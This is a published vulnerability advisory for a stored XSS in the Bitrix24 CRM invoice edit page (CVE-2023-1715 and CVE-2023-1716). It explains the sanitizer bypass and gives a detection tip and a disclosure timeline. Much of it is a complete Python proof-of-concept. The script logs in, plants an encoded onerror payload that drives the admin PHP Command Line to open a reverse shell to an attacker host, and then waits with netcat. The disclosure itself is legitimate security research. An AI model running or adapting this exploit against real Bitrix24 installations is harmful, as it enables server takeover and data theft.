Summary:

Product Bitrix24
Vendor Bitrix24
Severity Critical
Affected Versions Bitrix24 22.0.300 (latest version as of writing)
Tested Versions Bitrix24 22.0.300 (latest version as of writing)
CVE Identifier CVE-2023-1715 & CVE-2023-1716
CVE Description (CVE-2023-1715): A logic error when using mb_strpos() to check for potential XSS payload in Bitrix24 22.0.300 allows attackers to bypass XSS sanitisation via placing HTML tags at the begining of the payload. (CVE-2023-1716): Cross-site scripting (XSS) vulnerability in Invoice Edit Page in Bitrix24 22.0.300 allows attackers to execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege.
CWE Classification(s) CWE-83 Improper Neutralization of Script in Attributes in a Web Page
CAPEC Classification(s) CAPEC-592 Stored XSS

CVSS3.1 Scoring System:

Base Score: 9.0 (Critical) Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Vulnerability Details:

This report presents information on a Cross Site Scripting (XSS) vulnerability in Bitrix24’s Invoice Edit page that allows an attacker to run arbitrary JavaScript code on the browser of any victim that visits the affected page. If the victim has administrator permissions, an attacker may leverage the built-in “PHP Command Line” feature to execute arbitrary system commands on the target web server.

Authorized users may edit an invoice they have access to via the crm.invoice.edit component, located at bitrix/components/bitrix/crm.invoice.edit/component.php and accessible via a post request to https://TARGET_HOST/bitrix/urlrewrite.php?SEF_APPLICATION_CUR_PAGE_URL=/crm/invoice/edit/INVOICE_ID/.

One of the fields that can be supplied by an attacker is the USER_DESCRIPTION field. As this field is rendered as HTML by a rich text editor in the frontend, sanitization is performed on this field to prevent XSS:

// bitrix/components/bitrix/crm.invoice.edit/component.php lines 746 to 763

$userDescription = trim($_POST['USER_DESCRIPTION']);
$bSanitizeUserDescription = ($userDescription !== '' && mb_strpos($userDescription, '<')); // [1]
if($bSanitizeComments || $bSanitizeUserDescription)
{
    $sanitizer = new CBXSanitizer();
    $sanitizer->ApplyDoubleEncode(false);
    $sanitizer->SetLevel(CBXSanitizer::SECURE_LEVEL_MIDDLE);
    //Crutch for for Chrome line break behaviour in HTML editor.
    $sanitizer->AddTags(array('div' => array()));
    $sanitizer->AddTags(array('a' => array('href', 'title', 'name', 'style', 'alt', 'target')));
    $sanitizer->AddTags(array('p' => array()));
    $sanitizer->AddTags(array('span' => array('style')));
    if ($bSanitizeComments)
        $comments = $sanitizer->SanitizeHtml($comments);
    if ($bSanitizeUserDescription)
        $userDescription = $sanitizer->SanitizeHtml($userDescription);
    unset($sanitizer);
}

The mb_strpos($userDescription, '<') check ([1]) is supposed to check if the user description contains the < character, which could indicate that this field contains HTML tags and thus requires sanitization. However, if the < character is the first character, mb_strpos($userDescription, '<') would be 0, resulting in $bSanitizeUserDescription being false. Thus, sanitization of this field can be completely bypassed.

The $userDescription field is subsequently saved to the database, along with the rest of the invoice data.

However, the built-in Bitrix XSS sanitizer, applied to the body parameters of every request, complicates exploitation of this vulnerability.

The XSS sanitizer uses several regular expressions (regex) to identify and sanitize potentially dangerous input. One of these aims to target HTML event handlers, which could lead to XSS. The regex used can be found in bitrix/modules/security/lib/filter/auditor/xss.php on line 173, and a simplified version is shown below:

/(on[a-z]*)([a-z]{3}[\s]*=)/is

The regex aims to identify patterns such as onerror= and uses two capturing groups to split the dangerous string into two parts. A space is then added between the two parts, neutralizing the event handler. For example, onerror= would be transformed into oner ror=. Note that the regex allows any amount of whitespace between the event handler name (eg onerror) and the equals sign (=). This is compliant with the HTML specification. On its own, this sanitizer is secure.

When an authorized user navigates to the invoice edit page, the stored invoice is retrieved. The user description field is then passed to the CLightHTMLEditor class as the content to be edited.

The configuration for this editor, including the content, is injected into the JavaScript context after sanitization by the CUtil::PhpToJSObject function.

<script>
// ...
// bitrix/modules/fileman/classes/general/light_editor.php line 254
top.<?=$this->jsObjName?> = window.<?=$this->jsObjName?> = new window.JCLightHTMLEditor(<?=CUtil::PhpToJSObject($this->JSConfig)?>);
// ...
</script>

The CUtil::PhpToJSObject function calls the CUtil::JSEscape function (shown below) on the value of each key-value pair in the $this->JSConfig array.

// bitrix/modules/main/tools.php lines 4349 to 4355

public static function JSEscape($s){
    static $aSearch = array("\xe2\x80\xa9", "\\", "'", "\"", "\r\n", "\r", "\n", "\xe2\x80\xa8", "*/", "</");
    static $aReplace = array(" ", "\\\\", "\\'", '\\"', "\n", "\n", "\\n", "\\n", "*\\/", "<\\/");
    $val = str_replace($aSearch, $aReplace, $s);
    return $val;
}

This function performs a simple string replacement on the input string $s to ensure that it does not contain any characters that may break out of a JavaScript string, such as ", ' or \.

Notably, this function replaces the byte string \xe2\x80\xa9 (U+2029 Unicode Paragraph Separator) with a regular space (U+0020 Space).

This is a significant transformation as the Bitrix XSS sanitizer does not regard the byte string \xe2\x80\xa9 as whitespace. Therefore, the string onerror\xe2\x80\xa9= would not be sanitized. However, CUtil::JSEscape would transform the string into onerror =, which is a valid HTML onerror event handler.

After sanitization and transformation by CUtil::JSEscape, the constructor of the JavaScript class JCLightHTMLEditor injects the content to be edited into HTML:

// bitrix/js/fileman/light_editor/le_core.js lines 616 to 618

this.pEditorDocument.open();
this.pEditorDocument.write('<html><head></head><body>' + sContent + '</body></html>');
this.pEditorDocument.close();

Therefore, a malicious attacker may create an invoice with user description <img src=x onerror\xe2\x80\xa9=alert(document.domain)>. As < is the first character in the string, sanitization in bitrix/components/bitrix/crm.invoice.edit/component.php is bypassed. Additionally, as onerror\xe2\x80\xa9= does not match the regex for an event handler, the built-in XSS sanitizer does not sanitize this string. Finally CUtil::JSEscape replaces \xe2\x80\xa9 with , resulting in <img src=x onerror =alert(document.domain)>. This string is then injected into HTML, resulting in XSS.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that edits an existing invoice to inject malicious HTML in the user description field.

A sample exploit script is shown below:

# Bitrix24 Invoice Edit Page XSS RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/crm/invoice/edit/XXXX
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64

import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

TARGET_INVOICE_ID = 3

LPORT = 9001
LHOST = "192.168.86.43"

PROXY = {"http": "http://localhost:8080"}


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def edit_invoice(session: requests.Session, sessid):
    payload = base64.b64encode("""
    fetch("/bitrix/admin/php_command_line.php?lang=en&"+window.parent.document.body.innerHTML.match(/sessid=[a-f0-9]{32}/)[0],{
        method:"POST",
        headers:{
          'Content-Type': 'application/x-www-form-urlencoded'
        },    
        body: new URLSearchParams({
            query: `$sock=fsockopen("LHOST",LPORT);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);`,
            ajax: "y",
            result_as_text:"N"
        })
    })
    """.replace("LHOST", LHOST).replace("LPORT", str(LPORT)).encode())
    session.post(
        HOST + f"/bitrix/urlrewrite.php?SEF_APPLICATION_CUR_PAGE_URL=%2Fcrm%2Finvoice%2Fedit%2F{TARGET_INVOICE_ID}%2F",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
        },
        data={
            "sessid": sessid,
            "CRM_INVOICE_EDIT_V12_active_tab": "tab_1",
            "ACCOUNT_NUMBER": TARGET_INVOICE_ID,
            "ORDER_TOPIC": "sss",
            "STATUS_ID": "N",
            "PAY_VOUCHER_DATE": "",
            "PAY_VOUCHER_NUM": "",
            "REASON_MARKED_SUCCESS": "",
            "DATE_MARKED": "",
            "REASON_MARKED": "",
            "PRIMARY_ENTITY_TYPE": "COMPANY",
            "PRIMARY_ENTITY_ID": "1",
            "SECONDARY_ENTITY_IDS": "7",
            "REQUISITE_ID": "0",
            "BANK_DETAIL_ID": "0",
            "PAY_SYSTEM_ID": "1",
            "UF_MYCOMPANY_ID": "0",
            "MC_REQUISITE_ID": "0",
            "MC_BANK_DETAIL_ID": "0",
            "RECUR_PARAM[PERIOD]": "1",
            "RECUR_PARAM[DAILY_INTERVAL_DAY]": "1",
            "RECUR_PARAM[DAILY_WORKDAY_ONLY]": "N",
            "RECUR_PARAM[WEEKLY_INTERVAL_WEEK]": "1",
            "RECUR_PARAM[WEEKLY_WEEK_DAYS][]": "1",
            "RECUR_PARAM[MONTHLY_TYPE]": "1",
            "RECUR_PARAM[MONTHLY_INTERVAL_DAY]": "1",
            "RECUR_PARAM[MONTHLY_WORKDAY_ONLY]": "N",
            "RECUR_PARAM[MONTHLY_MONTH_NUM_1]": "1",
            "RECUR_PARAM[MONTHLY_WEEKDAY_NUM]": "0",
            "RECUR_PARAM[MONTHLY_WEEK_DAY]": "1",
            "RECUR_PARAM[MONTHLY_MONTH_NUM_2]": "1",
            "RECUR_PARAM[YEARLY_TYPE]": "1",
            "RECUR_PARAM[YEARLY_INTERVAL_DAY]": "1",
            "RECUR_PARAM[YEARLY_WORKDAY_ONLY]": "N",
            "RECUR_PARAM[YEARLY_MONTH_NUM_1]": "1",
            "RECUR_PARAM[YEARLY_WEEK_DAY_NUM]": "0",
            "RECUR_PARAM[YEARLY_WEEK_DAY]": "1",
            "RECUR_PARAM[YEARLY_MONTH_NUM_2]": "1",
            "RECUR_PARAM[START_DATE]": "",
            "RECUR_PARAM[REPEAT_TILL]": "",
            "RECUR_PARAM[END_DATE]": "",
            "RECUR_PARAM[LIMIT_REPEAT]": "0",
            "RECUR_PARAM[DATE_PAY_BEFORE_TYPE]": "0",
            "RECUR_PARAM[DATE_PAY_BEFORE_COUNT]": "0",
            "RECUR_PARAM[DATE_PAY_BEFORE_PERIOD]": "1",
            "RECUR_PARAM[RECURRING_EMAIL_ID]": "22",
            "COMMENTS": "",
            "USER_DESCRIPTION": b"<img src=x onerror\xe2\x80\xa9=eval(atob('"+payload+b"'))>",
            "INVOICE_PRODUCT_DATA": "[{\"ID\":0,\"PRODUCT_NAME\":\"Bitrix Site Manager\",\"PRODUCT_ID\":23,\"QUANTITY\":\"1.0000\",\"MEASURE_CODE\":796,\"MEASURE_NAME\":\"pcs.\",\"PRICE\":\"0.00\",\"PRICE_EXCLUSIVE\":\"0.00\",\"PRICE_NETTO\":\"0.00\",\"PRICE_BRUTTO\":\"0.00\",\"DISCOUNT_TYPE_ID\":1,\"DISCOUNT_RATE\":\"0.00\",\"DISCOUNT_SUM\":\"0.00\",\"TAX_RATE\":\"0.00\",\"TAX_INCLUDED\":\"N\",\"CUSTOMIZED\":\"Y\",\"SORT\":10}]",
            "INVOICE_PRODUCT_DATA_SETTINGS": "{\"ENABLE_DISCOUNT\": \"N\",\"ENABLE_TAX\": \"N\"}",
            "saveAndView": "Save",
            "invoice_id": TARGET_INVOICE_ID
        }
    )
    print(f"[+] Edited invoice {TARGET_INVOICE_ID}")


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    edit_invoice(s, sessid)
    print(f"[+] Visit this URL as admin to execute attack: {HOST}/crm/invoice/edit/{TARGET_INVOICE_ID}/")
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT)])

Exploit Conditions:

This vulnerability can be exploited when the attacker has access to the CRM feature and permission to create and export contacts. This level of access may be granted if the user is in the management board group.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of the byte string \xe2\x80\xa9 in request bodies. The presence of this string together with other characters like < and = indicate possible exploitation of this vulnerability.

Credits

Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
  • 2023-03-18 No reply from vendor, tried using the form again
  • 2023-03-21 Email to [email protected]
  • 2023-03-21 Email to [email protected]
  • 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
  • 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
  • 2023-03-30 [redacted] replied to us
  • 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
  • 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
  • 2023-03-31 [redacted] emailed back with the invite
  • 2023-03-31 Submitted the reports via that [USA bug bounty platform]
  • 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
  • 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
  • 2023-04-04 We submitted the final 2 reports
  • 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
  • 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
  • 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
  • 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
  • 2023-09-22 [redacted] accepted the date
  • 2023-11-01 Public Release